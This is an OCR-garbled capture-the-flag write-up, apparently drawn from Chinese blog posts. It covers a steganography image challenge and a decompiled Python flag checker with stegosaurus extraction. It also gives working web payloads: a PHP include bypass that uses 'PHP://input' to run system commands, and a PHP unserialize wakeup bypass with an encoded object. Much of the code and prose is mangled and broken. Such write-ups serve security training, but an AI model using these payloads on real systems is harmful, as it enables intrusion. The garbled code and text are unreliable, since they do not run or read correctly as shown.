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root@kali: ~/glance
MH(F) RIB(E) BE(V) HEE=(S) EiRT) FENH)

:~# mkdir glance
:~# cd glance
;|[e# Cunvwrt glancﬁ gif flag png
:~/gl g x1 -geometry +8 +8 flag.png
rru:mtage-irrm. ge "+0': BHEHTXHHEFR @ error/blob.c/0p

montage-im6.ql6: no decode delegate for this image format "' @ error/constitute.
c/ReadImage/504.

:~/glance# montage flag*.png -tile x1 - etr flag.png
montage-im6.ql6: invalid argument for option " -g etry': flag.png @ error/monta
ge.c/Montagelm Command /1025.

:~/glance# montage flag*.png -tile x1 -geometry +0+8 flag.png

:~/glance# scrot -s

htt og.csdn.net/gg_41

montage flag*.png -tile x1 -geometry +0+0 flag.png

tile R PHEMN BT MESIKE %, XEA1, MER 17
-geometry B AN B RLHE R ~F, BATAHERO, BRI 46 R~ R AT
NEEHHE

https://blog.csdn.net/zz_Caleb/article/details/89490494
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#! /usr/bin/env python 3.6 (3379)

#coding=utf-8
# Comniled at: 2017-07-21 11-44-47
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#Powered by BugScaner

#http://tools.bugscaner.com/

HAURRARAEE, E 2 E SRR R !

import sys, os, hashlib, time, base64

fllag = '9474yeUMWODKruX70FzD90ek028+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU="

def crypto(string, op='encode', public_key="ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (op == 'decode' and string[@:ckey lenth] or hashlib.md5(str(time.time())).hexdigest()[
32 - ckey_lenth:32]) or "'
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()

key lenth = len(cryptkey)

string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdig
est()[0:16] + string

string_lenth = len(string)

result = "'
box = list(range(256))
randkey = []

for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))

for i in xrange(255):
j=20
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

for i in xrange(string_lenth):

=j=0

(a + 1) % 256

(j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ~ box[(box[a] + box[j]) % 256])

i
a
a
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if op == 'decode’:
if result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > o:
if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
return
else:
return keyc + base64.b64encode(result)

if _name__ == '__main__"':
while True:
flag = raw_input('Please input your flag:')
if flag == crypto(fllag, 'decode'):
print('Success"')
break
else:

continue



CAUIEN T

#! /usr/bin/env python 3.6 (3379)

#coding=utf-8

# Compiled at: 2017-07-31 11:44:47

#Powered by BugScaner

#http://tools.bugscaner.com/

HMREBTHE, ELEH IR RER !

import sys, os, hashlib, time, base64

fllag = '9474yeUMWODKruX70FzD90ek028+EqYCZHrUjWNm92NSU+eYXOPsRPEFrNMs7J+4qautoqOrvq28pLU="

def crypto(string, op='encode', public_key="'ddd', expirytime=0):
ckey lenth = 4
public_key = public_key and public_key or "'
#public_key = 'ddd’

key = hashlib.md5(public_key).hexdigest()
#¥public_keyPAMDS 5 s, AL+ 7Nk

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = ckey_lenth and (op == 'decode' and string[@:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[
32 - ckey_lenth:32]) or "'

#ckey_lenth = 4

#BstringHIRT44L

#time.time ()R [E] 24 a7 i B EX

#hashlib.md5(str(time.time())).hexdigest()[32 - ckey lenth:32] X247t IA Bk 4TMDS5 NEs H-BU AT 284
#keyc = '9474"

cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
#cryptkey = '@dfad49faf8e86879017d6a79035831d24714612b9155b26cf8ad45aec4dc8c5af!
#key_length = 64

key_lenth = len(cryptkey)

string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdig
est()[0:16] + string

#string_lenth = 56 MAbstring[4: ] HstringbiZ2/E FHfllag

string_lenth = len(string)

result = "'
box = list(range(256))
randkey = []

for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))

for i in xrange(255):
j=20
j (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

for i in xrange(string_lenth):
=j=0

(a + 1) % 256

(j + box[a]) % 256
tmp = box[a]

havlal — havl+l
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vuALu) = wuALg]
box[j] = tmp
result += chr(ord(string[i]) ~ box[(box[a] + box[j]) % 256])

#HIX — BB AT B result H00000000005a8Fdc3c8eb7970bThe challenge is Steganography

if op == 'decode’:
if result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > o:
if result[10:26] == hashlib.md5(result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
return
else:
return keyc + base64.b64encode(result)

__main__"':

if __name__ ==
while True:
flag = raw_input('Please input your flag:')
if flag == crypto(fllag, 'decode'):
print('Success"')
break
else:
continue

AT AARE AR, Fi%NStegosauruska’s
#3227 2% https://www.cnblogs.com/E CJTUACM-873284962/p/1004 1534 .html

root@kali: ~/tools/zzctf/stegosaurus - 0 x

M) fREB(E) BE() HER(ES) EimT) #HEIH)

:~/tools/zzctf/stegosaurus# python3 '/root/tools/zzctf/stegosaurus/steg
osaurus.py' -x 1.pyc
Extracted paylo Flag{HiD3 Pal@ad 1n Python}

:~/tools/zzctf/stegosaurus#




Web_php_include
B H

<Yphp

show_sourcel(_ FILE_ )

echo 3 GET[ helle’];

Ipage=3 GET[ pagze’ ];

while (strstr($page, “php://")) |

Spage=str_replace!"php://", 77, 3paze):
1
include ($page);
e

str_replace REF K/NEARGUK, FKXEWPHP://5%E
LA R, 8 B php:/linput A% SO
?page=PHP://input

FEETAE X, R IA4gisisish3r3.php

JRaw T Params I Headers | Hex | XML ]

Raw | Headers | Hex Rendef]

SET /?page=FHF:/finput HTTR/1.1

dost: 111.198.29.45:46558

Jser-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; nv:70.0) Gecko/20100101 Firefox/70.0
Seeept: text/html application/xhtml+xml application/xml; g=0.9 */* q=0.8

Sceept-Language: zh-CM,zh;q=0.8 zh-TW,;q=0.7 ,zh-HK;¢=0.5 en-US;q=0.3 en;q=0.2
Sccept-Encoding: gzip, deflate

Connection: close

Jpgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 21

<?PHP system("ls|');?>

BEHZCH, 5 Eiflag

L

AU/ /UL =) &NDSP;L<hr /> &NDsp; &NDSp; &NDsp; &NDSp;</span><span style="color

#)000BB"=$page</span=<span style="color: #107700">=</span><span style="color:

<?php

show_source(_ FILE_ };

scho 5 _GET['hellc'];
Spage=5_GET['page']l;

while (strstr($pags, "php:/

}
include (Spage) ;
el

fl4gisisish3r3.php index.php phpinfo.php

#IOOOBE"=str_replace</span=<span style="color; #I07700"=(</span=<span style="colar:
#DDO0000"="php://"</span><span style="color: #07700">,&nbsp;</span><span style="col

#DO000"=""</span=<span style="color; #O7700">,&nbhsp;</span=<span style="colaor:

#I000BB"=$page</span=<span style="color: #07700"=);<br /=}<br /=include(</span><sp
style="caolor: #0000BB">$page</span><span style="color, #07700">);<br /></span><span

style="color: #I000BB">?&gt;<br /></span>
</span=

TeTtEE Ty

bflag="ctfi8rbabfca-96ck-4chd-9075-46f0c89475d2}",

Web_php_unserialize
B H



<?php
class Demo {
private $file = 'index.php';
public function _ construct($file) {
$this->file = $file;
¥
function _ destruct() {
echo @highlight_file($this->file, true);

}
function __ wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}

}
if (isset($_GET['var'])) {
$var = baseb64_decode($ GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
¥
} else {
highlight_file("index.php");

?>

EENFREAA+S5IE, +SEurlHRIL AT
wakeup () £ A 2 A BHOK T Skhr g B AT DL geid
FEA R I —H A

<?php
class Demo {
private $flag = "flag";
¥
$a = new Demo();
echo serialize(%$a);
?>
#RN
O:+4:"Demo":2:{s:10:"\00Demo\00file";s:4:"flag";}

PI/MO0Mphpf#tfr At , 73 Fpythontn®, b LIS 240 T AR

import base64
b = '0O:+4:"Demo":2:{s:10:"\@@Demo\00file";s:8:"fl4g.php";}"
print base64.b64encode(b)

payload:?var=TzorNDoiRGVtbyl6Mjp7czoxMDoiAERIbW8AZmIsZS17czo4OiJmbDRnLnBocCIl7fQ==
Hbase64f#iS A 0:+4: "Demo” :2:{s:10: "\@ODemo\@BFfile";s:8: "flag.php";}
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